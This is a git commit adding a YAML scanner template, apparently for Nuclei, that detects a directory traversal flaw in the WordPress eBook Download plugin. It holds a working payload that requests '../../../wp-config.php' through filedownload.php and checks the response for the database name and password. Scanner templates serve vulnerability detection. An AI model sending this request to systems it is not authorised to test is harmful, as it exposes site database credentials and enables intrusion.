Create wordpress-ebook-download-lfi.yaml

2021-11-24 19:58:55 +07:00 · 2021-11-24 19:58:55 +07:00 · c418618602
parent 74c404dff9
commit c418618602
1 changed files with 29 additions and 0 deletions
--- a/vulnerabilities/wordpress/wordpress-ebook-download-lfi.yaml
+++ b/vulnerabilities/wordpress/wordpress-ebook-download-lfi.yaml
@ -0,0 +1,29 @@
+id: wp-ebook-download-lfi
+
+info:
+  name: Wordpress eBook Download < 1.2 - Directory Traversal
+  author: idealphase
+  severity: high
+  description: The Wordpress eBook Download plugin was affected by a filedownload.php Local File Inclusion security vulnerability.
+  reference:
+    - https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c
+    - https://www.exploit-db.com/exploits/39575
+  tags: wordpress,wp-plugin,lfi,wordpress,ebook
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "DB_NAME"
+          - "DB_PASSWORD"
+        condition: and
+
+      - type: status
+        status:
+          - 200